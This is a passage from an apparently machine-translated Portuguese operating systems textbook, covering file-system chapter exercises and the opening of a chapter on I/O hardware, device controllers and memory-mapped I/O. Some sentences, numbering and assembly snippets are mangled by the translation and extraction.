criados e destruídos, e os arquivos podem ser movidos de um diretório para outro. Maioria 
sistemas de arquivos modernos suportam um sistema de diretórios hierárquico no qual os diretórios 
pode ter subdiretórios e estes podem ter subsubdiretórios ad infinitum. 

Quando visto de dentro, um sistema de arquivos parece bem diferente. O sistema de arquivos 
os projetistas precisam se preocupar com a forma como o armazenamento é alocado e como o sistema 
monitora qual bloco acompanha qual arquivo. As possibilidades incluem contíguas 
arquivos, listas vinculadas, tabelas de alocação de arquivos e i-nodes. Diferentes sistemas possuem diferentes 
estruturas de diretórios. Os atributos podem ir nos diretórios ou em outro lugar 
(por exemplo, um i-node). O espaço em disco pode ser gerenciado usando listas livres ou bitmaps. A confiabilidade do 
sistema de arquivos é aprimorada ao fazer dumps incrementais e ao ter um programa 
que pode reparar sistemas de arquivos doentes. O desempenho do sistema de arquivos é importante e pode ser 
aprimorado de várias maneiras, incluindo armazenamento em cache, leitura antecipada e posicionamento cuidadoso do 
blocos de um arquivo próximos uns dos outros. Os sistemas de arquivos estruturados em log também melhoram o 
desempenho ao fazer gravações em unidades grandes. 

Exemplos de sistemas de arquivos incluem ISO 9660, MS-DOS e UNIX. Eles diferem em muitos aspectos, 
inclusive na forma como controlam quais blocos acompanham quais. 


arquivo, estrutura de diretórios e gerenciamento de espaço livre em disco. 


PROBLEMAS 


1. No Windows, quando um usuário clica duas vezes em um arquivo listado pelo Windows Explorer, um programa é 
executado e recebe esse arquivo como parâmetro. Liste duas maneiras diferentes de operar 
sistema poderia saber qual programa executar. 


2. Nos primeiros sistemas UNIX, os arquivos executáveis ( arquivos a.out) começavam com uma magia muito específica 
número, não um escolhido aleatoriamente. Esses arquivos começavam com um cabeçalho, seguido pelo 
segmentos de texto e dados. Por que você acha que um número muito específico foi escolhido para 


arquivos executáveis, enquanto outros tipos de arquivos tinham um número mágico mais ou menos aleatório como 
a primeira palavra? 


3. Na Figura 4-5, um dos atributos é o comprimento do registro. Por que o sistema operacional 
Você já se importou com isso? 


4. A chamada de sistema aberto no UNIX é absolutamente essencial? Quais seriam as consequências 
ser de não ter? 


5. Sistemas que suportam arquivos sequenciais sempre possuem uma operação para retroceder arquivos. Faça sistema 


sistemas que suportam arquivos de acesso aleatório também precisam disso? 


6. Alguns sistemas operacionais fornecem uma chamada de sistema renomear para dar um novo nome a um arquivo. É 
existe alguma diferença entre usar esta chamada para renomear um arquivo e apenas copiar o 
arquivo para um novo arquivo com o novo nome, seguido da exclusão do antigo? 
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7. Um sistema operacional simples suporta apenas um único diretório, mas permite que ele tenha muitos arquivos 
arbitrariamente com nomes de arquivo arbitrariamente longos. Pode ser simulado algo que se aproxime de um 
sistema de arquivos hierárquico? Como? 


8. No UNIX e no Windows, o acesso aleatório é feito por meio de uma chamada de sistema especial que move o 
ponteiro da “posição atual” associado a um arquivo para um determinado byte no arquivo. 
Proponha uma forma alternativa de fazer acesso aleatório sem ter essa chamada de sistema. 


9. Considere a árvore de diretórios da Figura 4-9. Se /usr/jim for o diretório de trabalho, qual é o 
nome do caminho absoluto para o arquivo cujo nome do caminho relativo é ../ast/x? 


10. A alocação contígua de arquivos leva à fragmentação do disco, conforme mencionado no texto, pois algum espaço 
no último bloco do disco será desperdiçado em arquivos cujo comprimento não seja um número inteiro de blocos. 
Isso é fragmentação interna ou fragmentação externa? 
Faça uma analogia com algo discutido no capítulo anterior. 


11. Suponha que uma verificação do sistema de arquivos revele que um bloco foi alocado para dois arquivos diferentes, / 
home/hjb/ dadjokes.txt e /etc/motd. Ambos são arquivos de texto. A verificação do sistema de arquivos duplica os 
dados do bloco e reatribui /etc/motd para usar o novo bloco. Responda as seguintes questões. (i) Em que 
circunstâncias realistas os dados de ambos os arquivos ainda poderiam permanecer corretos e consistentes com 
seu conteúdo original? (ii) Como o usuário pode investigar se os arquivos foram corrompidos? (iii) Se um ou 
ambos os dados dos arquivos foram corrompidos, que mecanismos podem permitir ao usuário recuperar os 
dados? 


12. Uma maneira de usar a alocação contígua do disco e não sofrer furos é compactar o disco toda vez que um 
arquivo é removido. Como todos os arquivos são contíguos, copiar um arquivo requer uma busca e um atraso 
rotacional para ler o arquivo, seguido pela transferência em velocidade total. Escrever o arquivo de volta requer o 
mesmo trabalho. Supondo um tempo de busca de 5 ms, um atraso rotacional de 4 ms, uma taxa de transferência 
de 8 MB/s e um tamanho médio de arquivo de 8 KB, quanto tempo leva para ler um arquivo na memória principal 
e depois gravá-lo de volta? para o disco em um novo local? Usando esses números, quanto tempo levaria para 
compactar metade de um disco de 16 GB? 


13. MacOS possui links simbólicos e também aliases. Um alias é semelhante a um link simbólico; entretanto, 
diferentemente dos links simbólicos, um alias armazena metadados adicionais sobre o arquivo de destino (como 
seu número de inode e tamanho do arquivo) de modo que, se o arquivo de destino for movido dentro do mesmo 
sistema de arquivos, o acesso ao alias resultará no acesso ao arquivo de destino, pois o sistema de arquivos 
procurará e encontrará o destino original. Como esse comportamento poderia ser benéfico em comparação com 
links simbólicos? Como isso poderia causar problemas? 


14. Seguindo a pergunta anterior, em versões anteriores do MacOS, se o arquivo de destino for movido e outro arquivo 
for criado com o caminho original do destino, o alias ainda encontraria e usaria o arquivo de destino movido (não 
o novo arquivo com o mesmo caminho/nome). No entanto, nas versões do MacOS 10.2 ou posteriores, se o 
arquivo de destino for movido e outro for criado no local antigo, o alias se conectará ao novo arquivo. Isso aborda 
as desvantagens de sua resposta à pergunta anterior? Isso diminui os benefícios que você observou? 


15. Alguns dispositivos digitais de consumo necessitam de armazenar dados, por exemplo, sob a forma de ficheiros. 


Cite um dispositivo moderno que exija armazenamento de arquivos e para o qual a alocação contígua seria uma 
boa ideia. 
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16. Considere o i-node mostrado na Figura 4-15. Se contiver 10 endereços diretos de 4 bytes 
cada bloco de disco tem 1024 KB. Qual é o maior arquivo possível? 


17. Para uma determinada turma, os registros dos alunos são armazenados em um arquivo. Os registros são aleatoriamente 
acessado e atualizado. Suponha que o registro de cada aluno tenha tamanho fixo. Qual dos 
três esquemas de alocação (contíguo, vinculado e tabela/indexado) serão os mais adequados? 


18. Considere um arquivo cujo tamanho varia entre 4 KB e 4 MB durante seu tempo de vida. Qual 
dos três esquemas de alocação (contíguo, vinculado e tabela/indexado) será o mais 
apropriado? 


19. Foi sugerido que a eficiência poderia ser melhorada e o espaço em disco economizado armazenando os dados de um 
arquivo curto no i-node. Para o nó i da Figura 4-15, quantos 
bytes de dados poderiam ser armazenados dentro do i-node? 


20. Duas estudantes de ciência da computação, Carolyn e Elinor, estão discutindo sobre i nós. Carolyn afirma que as 
memórias se tornaram tão grandes e tão baratas que quando um 
for aberto, é mais simples e rápido buscar uma nova cópia do i-node na tabela do i node, em vez de pesquisar a 
tabela inteira para ver se ela já está lá. Elinor discorda. Quem está certo? 


21. Cite uma vantagem dos links físicos sobre os links simbólicos e uma vantagem dos links simbólicos. 
links sobre links físicos. 


22. Explique como os links físicos e os links flexíveis diferem em relação às alocações de i-nodes. 


23. Considere um disco de 4 TB que usa blocos de 8 KB e o método de lista livre. Quantos blocos 
endereços podem ser armazenados em um bloco? 


24. O espaço livre em disco pode ser controlado usando uma lista livre ou um bitmap. Endereços de disco 
requerem D bits. Para um disco com B blocos, F dos quais estão livres, indique a condição sob 
qual a lista livre usa menos espaço que o bitmap. Para D tendo o valor de 16 bits, 
expresse sua resposta como uma porcentagem do espaço em disco que deve estar livre. 


25. O início de um bitmap de espaço livre fica assim depois que a partição do disco é primeiro emaranhada: 1000 0000 
0000 0000 (o primeiro bloco é usado pelo diretório raiz). O sistema sempre procura blocos livres começando pelo 
bloco de menor numeração, então depois 
escrevendo o arquivo A, que usa seis blocos, o bitmap fica assim: 1111 1110 0000 0000. 

Mostre o bitmap após cada uma das seguintes ações adicionais: 


(a) O arquivo B é escrito usando cinco blocos. 
(b) O arquivo A é excluído. 

(c) O arquivo C é escrito usando oito blocos. 
(d) O arquivo B é excluído. 


26. O que aconteceria se o bitmap ou lista livre contendo as informações sobre o disco livre 
blocos foram completamente perdidos devido a uma falha? Existe alguma maneira de se recuperar desse desastre 
ou é um disco de adeus? Discuta suas respostas para UNIX e sistema de arquivos FAT -16 


separadamente. 


27. O trabalho noturno de Oliver Owl no centro de computação da universidade é trocar as fitas usadas 
para backups de dados noturnos. Enquanto espera a conclusão de cada fita, ele escreve sua tese que prova que as 
peças de Shakespeare foram escritas por visitantes extraterrestres. 
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28. 


29. 


30. 


31. 


32. 


33. 


34. 


35. 


36. 


37. 


38. 


Seu processador de texto é executado no sistema cujo backup está sendo feito, já que é o único que eles 


ter. Existe algum problema com esse arranjo? 


Discutimos a criação de dumps incrementais com mais detalhes no texto. No Windows é 
é fácil saber quando despejar um arquivo porque cada arquivo possui um bit de arquivo. Esta parte está faltando no UNIX. 
Como os programas de backup do UNIX sabem quais arquivos devem ser despejados? 


Suponha que o arquivo 21 da Figura 4.27 não tenha sido modificado desde o último dump. De que maneira 
os quatro bitmaps da Figura 4.28 seriam diferentes? 


Foi sugerido que a primeira parte de cada arquivo UNIX seja mantida no mesmo disco 
bloco como seu i-node. Que bem isso faria? 


Considere a Figura 4-29. É possível que, para algum número de bloco específico, os contadores em 
ambas as listas têm o valor 2? Como esse problema deve ser corrigido? 


O desempenho de um sistema de arquivos depende da taxa de acertos do cache (fração de blocos 
encontrado no cache). Se levar 1 ms para satisfazer uma solicitação do cache, mas 40 ms 
para satisfazer uma solicitação se uma leitura de disco for necessária, forneça uma fórmula para o tempo médio necessário 


para satisfazer uma solicitação se a taxa de acerto for h. Faça um gráfico desta função para valores de h variando de 0 
para 1,0. 


Para um disco rígido USB externo conectado a um computador, o que é mais adequado: um disco rígido de gravação 
através de cache ou cache de bloco? 


Considere uma aplicação onde os registros dos alunos são armazenados em um arquivo. A aplicação 
recebe uma carteira de estudante como entrada e subsequentemente lê, atualiza e grava o registro do aluno 
correspondente; isso é repetido até que o aplicativo seja encerrado. A técnica de "bloco de leitura antecipada" seria útil 
aqui? 


Discuta as questões de design envolvidas na seleção do tamanho de bloco apropriado para um sistema de arquivos 
tem. 


Considere um disco que possui 10 blocos de dados começando do bloco 14 ao 23. Seja 
2 arquivos no disco: f1 e f2. A estrutura de diretório lista os primeiros blocos de dados de f1 


e f2 são, respectivamente, 22 e 16. Dadas as entradas da tabela FAT abaixo, quais são os 
blocos de dados alocados para f1 e f2? 


(14,18); (15,17); (16,23); (17,21); (18,20); (19,15); (20, 1); (21, 1); (22,19); (23,14). 


Na notação acima, (x, y) indica que o valor armazenado na entrada da tabela x aponta para dados 
bloco y. 


No texto, discutimos duas maneiras principais de identificar o tipo de arquivo: extensões de arquivo e investigação do 
conteúdo do arquivo (por exemplo, usando cabeçalhos e números mágicos). Muitos modernos 
Os sistemas de arquivos UNIX suportam atributos estendidos que podem armazenar metadados adicionais para 
um arquivo, incluindo o tipo de arquivo. Esses dados são armazenados como parte dos dados de atributos do arquivo (no arquivo 
da mesma forma que o tamanho do arquivo e as permissões são armazenados). Como é o atributo estendido 
abordagem para armazenar arquivos melhor ou pior do que a abordagem de extensão de arquivo ou identificar o tipo de 
arquivo por conteúdo? 


Considere a ideia por trás da Figura 4-23, mas agora para um disco com tempo médio de busca de 8 
mseg, uma taxa de rotação de 15.000 rpm e 262.144 bytes por trilha. Quais são os dados 
taxas para tamanhos de bloco de 1 KB, 2 KB e 4 KB, respectivamente? 
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39. 


40. 


41. 


42. 


43. 


44. 


45. 


46. 


47. 


48. 


49. 


Neste capítulo, vimos que os SSDs fazem o possível para evitar gravar frequentemente as mesmas células de memória (devido 
ao desgaste). No entanto, muitos SSDs oferecem muito mais funcionalidade do que apresentamos até agora. Por exemplo, 
muitos controladores implementam compactação. Explique por que a compressão pode ajudar a reduzir o desgaste. 


Dado um tamanho de bloco de disco de 4 KB e um valor de endereço de ponteiro de bloco de 4 bytes, qual é o maior tamanho 
de arquivo (em bytes) que pode ser acessado usando 11 endereços diretos e um bloco indireto? 


A tabela MS-DOS FAT -16 contém entradas de 64 K. Suponha que um dos bits fosse necessário para algum outro propósito e 
que a tabela contivesse exatamente 32.768 entradas. Sem outras alterações, qual seria o maior arquivo do MS-DOS sob 
essa condição? 


Os arquivos no MS-DOS precisam competir por espaço na tabela FAT -16 na memória. Se um arquivo usa k entradas, ou seja, 
k entradas que não estão disponíveis para nenhum outro arquivo, que restrição isso impõe ao comprimento total de todos os 


arquivos combinados? 


Quantas operações de disco são necessárias para buscar o i-node para um arquivo com o nome de caminho /usr/ast/ courses/ 
os/handout.t? Suponha que o nó i do diretório raiz esteja na memória, mas nada mais ao longo do caminho esteja na 


memória. Suponha também que todos os diretórios cabem em um bloco de disco. 


Em muitos sistemas UNIX, os i-nodes são mantidos no início do disco. Um design alternativo é alocar um i-node quando um 


arquivo é criado e colocar o i-node no início do primeiro bloco do arquivo. Discuta os prós e os contras desta alternativa. 


Escreva um programa que inverta os bytes de um arquivo, de modo que o último byte seja o primeiro e o primeiro byte seja o 


último. Deve funcionar com um arquivo arbitrariamente longo, mas tente torná-lo razoavelmente eficiente. 


Escreva um programa que comece em um determinado diretório e desça na árvore de arquivos a partir desse ponto, registrando 
os tamanhos de todos os arquivos que encontrar. Quando tudo estiver pronto, ele deverá imprimir um histograma dos 
tamanhos dos arquivos usando uma largura de compartimento especificada como parâmetro (por exemplo, com 1024, 
tamanhos de arquivo de 0 a 1023 vão para um compartimento, 1024 a 2047 vão para o próximo compartimento, etc. .). 


Escreva um programa que varra todos os diretórios em um sistema de arquivos UNIX e encontre e localize todos os i-nodes 
com uma contagem de links físicos de dois ou mais. Para cada arquivo, ele lista todos os nomes de arquivo que apontam 


para o arquivo. 


Escreva uma nova versão do programa UNIX /s . Esta versão toma como argumento um ou mais nomes de diretório e para 
cada diretório lista todos os arquivos desse diretório, uma linha por arquivo. Cada campo deve ser formatado de maneira 
razoável de acordo com seu tipo. Liste apenas o primeiro endereço de disco, se houver. 


Implementar um programa para medir o impacto dos tamanhos de buffer no nível do aplicativo no tempo de leitura. Isso envolve 
gravar e ler um arquivo grande (digamos, 2 GB). Varie o tamanho do buffer do aplicativo (digamos, de 64 bytes a 4 KB). Use 
rotinas de medição de tempo (como gettimeofday e gettimer no UNIX) para medir o tempo gasto para diferentes tamanhos 
de buffer. Analise os resultados e relate suas descobertas: o tamanho do buffer faz diferença no tempo geral de gravação e 
no tempo por gravação? 
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50. Implemente um sistema de arquivos simulado que estará totalmente contido em um único arquivo regular 
armazenado no disco. Este arquivo de disco conterá diretórios, i-nodes, informações de bloco livre, blocos de dados de arquivo, 
etc. Escolha algoritmos apropriados para manter o bloco livre. 
informações e para alocação de blocos de dados (contíguos, indexados, vinculados). Seu programa 
aceitará comandos do sistema do usuário para executar operações do sistema de arquivos, incluindo pelo menos um para criar/ 
excluir diretórios, criar/excluir/abrir arquivos, ler/escrever de/para 


um arquivo selecionado e para listar o conteúdo do diretório. 
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ENTRADA/SAÍDA 


Além de fornecer abstrações como processos, espaços de endereço e arquivos, um 
sistema operacional também controla todos os dispositivos de E/S (Entrada/Saída) do 
computador. Ele deve emitir comandos para os dispositivos, capturar interrupções e tratar erros. 
Deve também fornecer uma interface entre os dispositivos e o resto do sistema que seja 
simples e fácil de usar. Na medida do possível, a interface deve ser a mesma para todos os 
dispositivos (independência de dispositivos). O código de E/S representa uma fração 
significativa do sistema operacional total. Como o sistema operacional gerencia a E/S é o 
assunto deste capítulo. 

Este capítulo está organizado da seguinte forma. Examinaremos primeiro alguns dos 
princípios do hardware de E/S e depois o software de E/S em geral. O software de E/S pode 
ser estruturado em camadas, cada uma com uma tarefa bem definida. Examinaremos essas 
camadas para ver o que elas fazem e como se encaixam. 

A seguir, veremos vários dispositivos de E/S em detalhes: discos, relógios, teclados e 
monitores. Para cada dispositivo, veremos seu hardware e software. Finalmente, 
consideraremos o gerenciamento de energia. 


5.1 PRINCÍPIOS DE HARDWARE DE E/S 


Pessoas diferentes olham para o hardware de E/S de maneiras diferentes. Os engenheiros 
elétricos analisam isso em termos de chips, fios, fontes de alimentação, motores e todos os 
outros componentes físicos que compõem o hardware. Programadores olham para a interface 
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apresentado ao software — os comandos que o hardware aceita, as funções que ele executa e os erros que 
podem ser relatados. Neste livro, estamos preocupados em programar dispositivos de E/S, e não em projetá- 
los, construí-los ou mantê-los; portanto, nosso interesse está em como o hardware é programado, e não em 
como ele funciona internamente. No entanto, a programação de muitos dispositivos de E/S está 
frequentemente intimamente ligada à sua operação interna. Nas próximas três seções, forneceremos um 
pouco de conhecimento geral sobre hardware de E/S no que se refere à programação. Pode ser considerado 
como uma revisão e expansão do material introdutório na Seç. 1.3. 


5.1.1 Dispositivos de E/S 


Os dispositivos de E/S podem ser divididos em duas categorias: dispositivos de bloco e dispositivos 
de caracteres. Um dispositivo de bloco é aquele que armazena informações em blocos de tamanho fixo, 
cada um com seu endereço. Os tamanhos de bloco comuns variam de 512 a 65.536 bytes. Todas as 
transferências são feitas em unidades de um ou mais blocos inteiros (consecutivos). 

A propriedade essencial de um dispositivo de bloco é que é possível ler ou escrever cada bloco 
independentemente de todos os outros. Discos rígidos e SSDs (unidades de estado sólido) são dispositivos 
de bloco comuns, assim como unidades de fita magnética que agora são comumente encontradas em 
museus de informática, mas também ainda são usadas em data centers e têm sido a solução ideal para 
armazenamento em massa realmente grande. há mais de meio século. Uma fita LT O-8 Ultrium, por exemplo, 
pode armazenar 12 TB, ser lida a 750 MB/s e deverá durar 30 anos. Custa menos de US$ 100. 


O outro tipo de dispositivo de E/S é o dispositivo de caractere. Um dispositivo de caracteres entrega 
ou aceita um fluxo de caracteres, independentemente de qualquer estrutura de bloco. Não é endereçável e 
não possui operação de busca. Impressoras, interfaces de rede, mouses (para apontar), ratos (para 
experimentos de laboratório de psicologia) e a maioria dos outros dispositivos que não são semelhantes a 
discos podem ser vistos como dispositivos de caracteres. 

Este esquema de classificação não é perfeito. Alguns dispositivos não cabem. Os relógios, por exemplo, 
não são endereçáveis em bloco. Nem geram ou aceitam fluxos de caracteres. Tudo o que fazem é causar 
interrupções em intervalos bem definidos. As telas mapeadas em memória também não se ajustam bem ao 
modelo. Nem as telas sensíveis ao toque, aliás. Ainda assim, o modelo de dispositivos de blocos e caracteres 
é geral o suficiente para poder ser usado como base para tornar independentes alguns dos softwares do 
sistema operacional que lidam com dispositivos de E/S. O sistema de arquivos, por exemplo, lida apenas 
com dispositivos de blocos abstratos e deixa a parte dependente do dispositivo para software de nível inferior. 


Os dispositivos de E/S cobrem uma enorme faixa de velocidades, o que coloca uma pressão 


considerável sobre o software para ter um bom desempenho em muitas ordens de magnitude nas taxas de 
dados. A Figura 5-1 mostra as taxas de dados de alguns dispositivos comuns. 


5.1.2 Controladores de dispositivos 


As unidades de E/S geralmente consistem em um componente mecânico e um componente eletrônico. 
É possível separar as duas partes para proporcionar um design mais modular e geral. O componente 
eletrônico é chamado de controlador ou adaptador do dispositivo. Sobre 
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Dispositivo Taxa de dados 
Teclado 10 bytes/s 
Rato 100 bytes/seg 
Modem 56K 7 KB/seg 
Bluetooth 5 BLE 256 KB/seg 
Scanner a 300 dpi 1 MB/s 
Gravador de vídeo digital 3,5 MB/seg 
802.11n sem fio 37,5 MB/seg 
USB 2.0 60 MB/seg 
Disco Blu-ray 16x 72 MB/seg 
Gigabit Ethernet 125 MB/seg 
Unidade de disco SATA 3 600 MB/seg 
USB 3.0 625 MB/seg 
Barramento PCle 3.0 de pista 985 MB/seg 
única 802.11ax sem fio 1,25 GB/s 
SSD PCle Gen 3.0 NVMe M.2 (leitura) 3,5 GB/s 
USB 4.0 5 GB/s 
PCI Express 6.0 126 GB/seg 


Figura 5-1. Algumas taxas típicas de dados de dispositivos, redes e barramentos. 


computadores pessoais, geralmente assume a forma de um chip na placa-mãe ou de um 
placa de circuito impresso que pode ser inserida em um slot de expansão (PCle). O componente 
mecânico é o próprio dispositivo. Esse arranjo é mostrado na Figura 1-6. 

A placa controladora geralmente possui um conector, no qual um cabo que leva ao 
o próprio dispositivo pode ser conectado. Muitos controladores podem lidar com dois, quatro, oito ou 
dispositivos ainda mais idênticos. Se a interface entre o controlador e o dispositivo for um 
interface padrão, seja um padrão oficial ANSI, IEEE ou ISO ou um padrão de fato 
um, então as empresas podem fabricar controladores ou dispositivos que se ajustem a essa interface. Muitos 
empresas, por exemplo, fabricam unidades de disco que correspondem aos padrões SATA, SCSI, USB ou 
Raio, interfaces. 

A interface entre o controlador e o dispositivo geralmente é de nível muito baixo. 
um. Um disco, por exemplo, pode ter 3.000.000 de trilhas, cada uma formatada com entre 200 e 500 
setores de 4.096 bytes cada. O que realmente sai da unidade, 
entretanto, é um fluxo de bits serial, começando com um preâmbulo e seguido pelo 
8 x 4.096 = 32.768 bits em um setor e, finalmente, uma soma de verificação, ou ECC (Código de 
correção de erro). O preâmbulo é escrito quando o disco é formatado e contém 
o número do cilindro e do setor, o tamanho do setor e dados semelhantes, bem como informações de 
sincronização. 

A tarefa do controlador é converter o fluxo de bits serial em um bloco de bytes e 
execute qualquer correção de erro necessária. O bloco de bytes normalmente é o primeiro 
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montado, pouco a pouco, em um buffer dentro do controlador. Após sua soma de verificação ter sido 
verificada e o bloco ter sido declarado livre de erros, ele pode então ser copiado para a memória 
principal. 

O controlador de um monitor LCD também funciona como um dispositivo serial de bits em um 
nível igualmente baixo. Ele lê bytes contendo os caracteres a serem exibidos na memória e gera os 
sinais para modificar a polarização da luz de fundo dos pixels correspondentes para gravá-los na tela. 
Se não fosse pelo controlador de exibição, o programador do sistema operacional teria que programar 
explicitamente os campos elétricos de todos os pixels. Com o controlador, o sistema operacional 
inicializa o controlador com alguns parâmetros, como o número de caracteres ou pixels por linha e o 
número de linhas por tela, e permite que o controlador se encarregue de realmente acionar os campos 
elétricos. 


Em muito pouco tempo, as telas LCD substituíram completamente os antigos monitores CRT 
(Cathode Ray Tube) . Os monitores CRT disparam um feixe de elétrons em uma tela fluorescente de 
gripe. Usando campos magnéticos, o sistema é capaz de dobrar o feixe e desenhar pixels na tela. 
Comparados às telas LCD, os monitores CRT eram volumosos, consumiam muita energia e eram 
frágeis. Além disso, a resolução das telas LCD (Retina) atuais é tão boa que o olho humano é incapaz 
de distinguir pixels individuais. É difícil imaginar hoje que os laptops do passado vinham com uma 
pequena tela CRT que os tornava com mais de 20 cm de profundidade e um peso agradável de treino 
de cerca de 12 kg. 


5.1.3 E/S mapeada em memória 


Cada controlador possui alguns registros que são usados para comunicação com a CPU. Ao 
escrever nesses registradores, o sistema operacional pode comandar o dispositivo para entregar 
dados, aceitar dados, ligar ou desligar ou executar alguma ação. Ao ler esses registros, o sistema 
operacional pode saber qual é o estado do dispositivo, se ele está preparado para aceitar um novo 
comando e assim por diante. 

Além dos registradores de controle, muitos dispositivos possuem um buffer de dados que o 
sistema operacional pode ler e escrever. Por exemplo, uma maneira comum de os computadores 
exibirem pixels na tela é ter uma RAM de vídeo, que é basicamente apenas um buffer de dados, 
disponível para gravação de programas ou sistema operacional. 

Surge assim a questão de como a CPU se comunica com os registradores de controle e também 
com os buffers de dados do dispositivo. Existem duas alternativas. Na primeira abordagem, a cada 
registrador de controle é atribuído um número de porta de E/S , um número inteiro de 8 ou 16 bits. O 
conjunto de todas as portas de E/S forma o espaço de portas de E/S, que é protegido de forma que 


programas de usuários comuns não possam acessá-lo (apenas o sistema operacional pode). Usando 
uma instrução de E/S especial, como 


EM REG,PORTO, 


a CPU pode ler o registrador de controle PORT e armazenar o resultado no registrador da CPU REG. 
Da mesma forma, usando 


FORA DO PORTO,REG 
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a CPU pode escrever o conteúdo do REG em um registrador de controle. A maioria dos primeiros 
computadores, incluindo quase todos os mainframes, como o IBM 360 e todos os seus sucessores, 
funcionavam dessa maneira. 

Nesse esquema, os espaços de endereço para memória e E/S são diferentes, como 
mostra a Figura 5.2(a). As instruções 


EM RO,4 


MOV RO,4 


são completamente diferentes neste design. O primeiro lê o conteúdo da porta de E/S 4 e 
o coloca em RO, enquanto o último lê o conteúdo da palavra de memória 4 e o coloca em 
RO. Os 4 nestes exemplos referem-se a espaços de endereço diferentes e não relacionados. 


Dois endereços Um espaço de endereço Dois espaços de endereço 


OxFFFF... Memória 


Portas de E/S 


(a) (b) (c) 


Figura 5-2. (a) E/S e espaço de memória separados. (b) E/S mapeada em memória. 
(c) Híbrido. 


A segunda abordagem, introduzida com o PDP-11, é mapear todos os registradores de controle 
no espaço de memória, como mostrado na Figura 5.2(b). Cada registrador de controle recebe um 
endereço de memória exclusivo ao qual nenhuma memória é atribuída. Este sistema é chamado de 
E/S mapeada em memória. Na maioria dos sistemas, os endereços atribuídos estão no topo ou 
próximo ao topo do espaço de endereço. Um esquema híbrido, com buffers de dados de E/S 
mapeados em memória e portas de E/S separadas para os registradores de controle, é mostrado na Figura 5.2(c). 
O x86 utiliza essa arquitetura, com endereços de 640K a 1M 1 sendo reservados para buffers 
de dados de dispositivos em compatíveis com IBM PC, além de portas de E/S de 0 a 64K 1. 

Além disso, atribuir endereços de 360 mil para dispositivos de E/S no PC original 
era um número absurdamente grande e limitava a quantidade de memória que poderia 
ser colocada em um PC. Ter endereços de E/S de 4K teria sido suficiente. Mas na época 
em que a memória custava US$ 1 por byte, ninguém pensava que alguém iria querer ter 
640 KB em um PC, muito menos 900 KB ou mais. O que os designers não perceberam 
foi a rapidez com que os preços das memórias cairiam. Hoje em dia, seria difícil encontrar 
um notebook com menos de 4.000.000 KB de RAM. 
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Como esses esquemas realmente funcionam na prática? Em todos os casos, quando a CPU 
deseja ler uma palavra, seja da memória ou de uma porta de E/S, ela coloca o endereço necessário 
nas linhas de endereço do barramento e então ativa um sinal READ na linha de controle do barramento . 
Uma segunda linha de sinal é usada para informar se é necessário espaço de E/S ou espaço de 
memória. Se for espaço de memória, a memória responde à solicitação. Se for um espaço de E/S, o 
dispositivo de E/S responde à solicitação. Se houver apenas espaço de memória [como na Figura 
5.2(b)], cada módulo de memória e cada dispositivo de E/S compara as linhas de endereço com o 
intervalo de endereços que ele atende. Se o endereço estiver dentro do seu intervalo, ele responderá 
à solicitação. Como nenhum endereço é atribuído à memória e a um dispositivo de E/S, não há 
ambiguidade nem conflito. 

Estes dois esquemas para abordar os controladores têm pontos fortes e fracos diferentes. Vamos 
começar com as vantagens da E/S mapeada em memória. Primeiro de tudo, se forem necessárias 
instruções especiais de E/S para ler e escrever os registradores de controle do dispositivo, o acesso a 
eles requer o uso de código assembly, uma vez que não há como executar uma instrução IN ou OUT 
em C ou C ++. Chamar esse procedimento adiciona sobrecarga ao controle de E/S. Em contraste, 
com E/S mapeada em memória, os registradores de controle do dispositivo são apenas variáveis na 
memória e podem ser endereçados em C da mesma forma que qualquer outra variável. Assim, com E/ 
S mapeada em memória, um driver de dispositivo de E/S pode ser escrito inteiramente em C. Sem E/ 
S mapeada em memória, algum código assembly é necessário. 

Segundo, com E/S mapeada em memória, nenhum mecanismo de proteção especial é necessário 
para impedir que os processos do usuário executem E/S. Tudo o que o sistema operacional precisa 
fazer é evitar colocar a parte do espaço de endereço que contém os registradores de controle no 
espaço de endereço virtual de qualquer usuário. Melhor ainda, se cada dispositivo tiver seus 
registradores de controle em uma página diferente do espaço de endereço, o sistema operacional 
poderá dar ao usuário controle sobre dispositivos específicos, mas não sobre outros, simplesmente 
incluindo as páginas desejadas em sua tabela de páginas. Tal esquema pode permitir que diferentes 
drivers de dispositivos sejam executados em diferentes espaços de endereço no modo de usuário, não 
apenas reduzindo o tamanho do kernel, mas também evitando que um driver interfira em outros. Isso 
também evita que uma falha de driver derrube todo o sistema. Alguns microkernels (por exemplo, 
MINIX 3) funcionam assim. 

Terceiro, com E/S mapeada em memória, cada instrução que pode fazer referência à memória 
também pode fazer referência a registradores de controle. Por exemplo, se houver uma instrução, 
TEST, que testa uma palavra de memória para 0, ela também pode ser usada para testar um 
registrador de controle para 0, que pode ser o sinal de que o dispositivo está ocioso e pode aceitar um novo comando. 
O código da linguagem assembly pode ser assim: 


LOOP: PORTA DE TESTE 4 / verifica se a porta t 4 é 
BEQ PRONTO 0 // se for 0, vai para pronto // 
LAÇO DE RAMAL caso contrário, continua testando 
PREPARAR: 


Se a E/S mapeada na memória não estiver presente, o registrador de controle deve primeiro ser lido 
na CPU e depois testado, exigindo duas instruções em vez de apenas uma. No caso de 
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No loop dado acima, uma quarta instrução deve ser adicionada, desacelerando um pouco 
a capacidade de resposta da detecção de um dispositivo ocioso. 

No design de computadores, praticamente tudo envolve compensações, e essa é a 
caso aqui também. A E/S mapeada em memória também tem suas desvantagens. Primeiro, a maioria dos 
computadores hoje em dia possui alguma forma de cache de palavras de memória. Armazenando um dispositivo em cache 
registro de controle seria desastroso. Considere o loop de código assembly fornecido acima 
na presença de cache. A primeira referência à PORTA 4 faria com que fosse 
armazenado em cache. As referências subsequentes apenas pegariam o valor do cache e não 
até pergunte ao dispositivo. Então, quando o dispositivo finalmente ficou pronto, o software 
não teria como descobrir. Em vez disso, o ciclo continuaria para sempre. 

Para evitar esta situação com E/S mapeada em memória, o hardware deve ser capaz de 
para desabilitar seletivamente o cache, por exemplo, por página. Este recurso adiciona 
complexidade extra tanto para o hardware quanto para o sistema operacional, que precisa gerenciar o 
cache seletivo. 

Segundo, se houver apenas um espaço de endereço, então todos os módulos de memória e todos 
Os dispositivos de E/S devem examinar todas as referências de memória para ver a quais responder. 
Se o computador tiver um único barramento, como na Figura 5.3(a), peça a todos que observem cada 
endereço é direto. 


CPU lê e grava na memória 


passar por esse barramento de alta largura de banda 


Memória 


Esta porta de memória é 
Ônibus para permitir dispositivos de E/S 


Todos os endereços (memória 
e E/S) clique aqui X gas 
acesso à memória 


(a) (b) 


Figura 5-3. (a) Uma arquitetura de barramento único. (b) Uma arquitetura de memória de barramento duplo. 


Contudo, a tendência nos computadores pessoais modernos é ter um barramento de memória 
